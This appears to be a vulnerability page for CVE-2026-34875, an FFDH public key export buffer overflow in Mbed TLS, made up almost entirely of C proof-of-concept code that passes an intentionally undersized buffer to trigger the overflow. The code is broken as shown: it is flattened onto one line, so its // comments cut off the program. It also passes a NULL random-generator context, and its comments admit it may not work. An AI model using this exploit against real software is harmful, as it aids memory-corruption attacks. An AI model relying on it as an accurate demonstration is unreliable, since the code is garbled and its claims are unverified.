CVE-2026-34875 Mbed TLS FFDH公钥导出缓冲区溢出漏洞

#include "mbedtls/ffdh.h" #include <stdio.h> /* * PoC Code for CVE-2026-34875 * This code demonstrates the buffer overflow vulnerability * in FFDH public key export within Mbed TLS <= 3.6.5. * * Compile with: gcc -o poc_cve2026_34875 poc_cve2026_34875.c -lmbedtls -lmbedcrypto */ int main() { mbedtls_ffdh_context ctx; unsigned char buf[64]; // Intentionally small buffer to trigger overflow size_t olen; int ret; mbedtls_ffdh_init(&ctx); // Setup FFDH context with a standard group (e.g., MBEDTLS_FFDH_RFC3526_MODP_2048_P) // In a real exploit, parameters would be chosen to maximize overflow impact if ((ret = mbedtls_ffdh_setup(&ctx, MBEDTLS_FFDH_RFC3526_MODP_2048_P)) != 0) { printf("Setup failed: -0x%04X\n", -ret); return 1; } // Generate keys if ((ret = mbedtls_ffdh_make_public(&ctx, sizeof(buf), buf, &olen, mbedtls_ctr_drbg_random, NULL)) != 0) { // This may fail or crash due to buffer overflow if logic is flawed printf("Export failed (likely overflow): -0x%04X\n", -ret); } else { printf("Exported %lu bytes (Check for memory corruption)\n", olen); } mbedtls_ffdh_free(&ctx); return 0; }